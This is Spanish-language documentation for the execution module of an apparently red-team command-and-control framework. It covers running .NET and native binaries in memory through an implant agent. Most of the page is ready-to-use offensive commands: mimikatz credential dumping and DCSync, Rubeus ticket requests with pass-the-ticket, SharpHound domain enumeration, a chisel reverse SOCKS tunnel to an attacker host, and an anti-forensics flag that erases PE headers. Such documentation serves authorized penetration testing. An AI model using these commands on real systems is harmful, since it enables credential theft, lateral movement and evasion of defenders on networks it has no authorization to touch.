Ejecución de Código

El módulo Execution-BOF proporciona dos mecanismos para ejecutar código arbitrario en la memoria del proceso del agente, sin escribir archivos en disco en la máquina objetivo.

Disponible en agentes: Beacon, Gopher (solo Windows).

execute-assembly#

Ejecuta un assembly .NET completamente en memoria utilizando CLR hosting. El binario se sube desde la máquina del operador y se carga directamente en el proceso del agente — ningún archivo toca el disco del objetivo.

execute-assembly --assembly <ruta_local> [--args "<argumentos>"]

Ejemplos#

Ejecutar SharpHound para enumerar Active Directory:

execute-assembly --assembly /opt/tools/SharpHound.exe --args "-c All -d domain.local"

Ejecutar Rubeus para solicitar un TGT:

execute-assembly --assembly /opt/tools/Rubeus.exe --args "asktgt /user:admin /password:P@ss /ptt"

Ejecutar Seatbelt para auditoría de seguridad:

execute-assembly --assembly /opt/tools/Seatbelt.exe --args "-group=all"

Ejecutar SharpUp para buscar escalación de privilegios:

execute-assembly --assembly /opt/tools/SharpUp.exe --args "audit"

Cuándo usarlo#

execute-assembly es el método principal para ejecutar herramientas ofensivas escritas en .NET. Es ideal para:

• Herramientas de reconocimiento de AD: SharpHound, ADSearch, SharpView
• Ataques Kerberos: Rubeus (aunque JustC2 tiene Kerbeus-BOF integrado)
• Auditoría de seguridad: Seatbelt, SharpUp, Certify
• Extracción de credenciales: SharpDPAPI, SharpChrome
• Movimiento lateral: SharpWMI, SharpRDP

Soporta assemblies de .NET Framework. El assembly se ejecuta en un AppDomain separado dentro del proceso del agente.

noconsolation#

Ejecuta binarios nativos (no administrados) EXE o DLL completamente en memoria mediante el BOF No-Consolation. Es más versátil que execute-assembly ya que soporta tanto binarios .NET como nativos de Windows.

noconsolation -f <ruta_local> [-a "<argumentos>"] [opciones]

Opciones de Carga#

Opciones de Ejecución#

Opciones de Anti-Forense#

Gestión de PEs en Memoria#

Gestión de Dependencias#

Ejemplos#

Ejecutar mimikatz en memoria:

noconsolation -f /tmp/mimikatz.exe -a "privilege::debug token::elevate exit"

Ejecutar mimikatz con anti-forense (sobrescribir headers):

noconsolation -f /tmp/mimikatz.exe -a "sekurlsa::logonpasswords exit" -k

Ejecutar una herramienta de larga duración (chisel, ligolo, etc.):

noconsolation -f /tmp/chisel.exe -a "client ATTACKER:8080 R:socks" --timeout 0 --inthread

Guardar PE en memoria y reutilizarlo:

# Primera ejecución — el PE se guarda automáticamente
noconsolation -f /tmp/mimikatz.exe -a "privilege::debug exit"

# Ejecuciones posteriores — cargar desde memoria (sin re-subir)
noconsolation --memory mimikatz.exe -a "sekurlsa::logonpasswords exit"
noconsolation --memory mimikatz.exe -a "lsadump::dcsync /user:Administrator exit"

Listar PEs cargados en memoria:

noconsolation --list-pes

Descargar un PE de la memoria:

noconsolation --unload-pe mimikatz.exe

Ejecutar una DLL con una función exportada específica:

noconsolation -f /tmp/custom.dll --method MyExportedFunc -a "arg1 arg2"

Cargar desde disco en la máquina objetivo:

noconsolation --local "C:\Windows\Temp\tool.exe" -a "arg1"

Cuándo usarlo#

noconsolation es superior a execute-assembly para binarios nativos:

• Herramientas nativas de Windows: mimikatz.exe, procdump.exe, netcat, chisel
• DLLs personalizadas: Ejecutar funciones exportadas específicas de una DLL
• Herramientas de larga duración: Proxies SOCKS, túneles, servidores (con --timeout 0 --inthread)
• Ejecuciones repetidas: Guardar el PE en memoria y reutilizarlo sin volver a subirlo
• Operaciones sigilosas: Usar -k para borrar encabezados PE de la memoria

Restricción: Solo soporta agentes de 64 bits (x64). No funciona en procesos WoW64 (32 bits).

Flujo de Trabajo con Caché de PEs#

El sistema de caché de No-Consolation permite cargar un binario una sola vez y ejecutarlo múltiples veces:

1. Cargar y ejecutar: noconsolation -f /ruta/tool.exe -a "primer_comando" — el PE se guarda en memoria automáticamente.
2. Reutilizar: noconsolation --memory tool.exe -a "segundo_comando" — sin transferencia de red.
3. Verificar caché: noconsolation --list-pes — ver qué PEs están en memoria.
4. Limpiar: noconsolation --unload-pe tool.exe — liberar memoria cuando ya no se necesite.

Esto es especialmente útil con herramientas como mimikatz que se usan repetidamente durante una operación — se sube una vez y se ejecutan múltiples módulos sin tráfico adicional de red.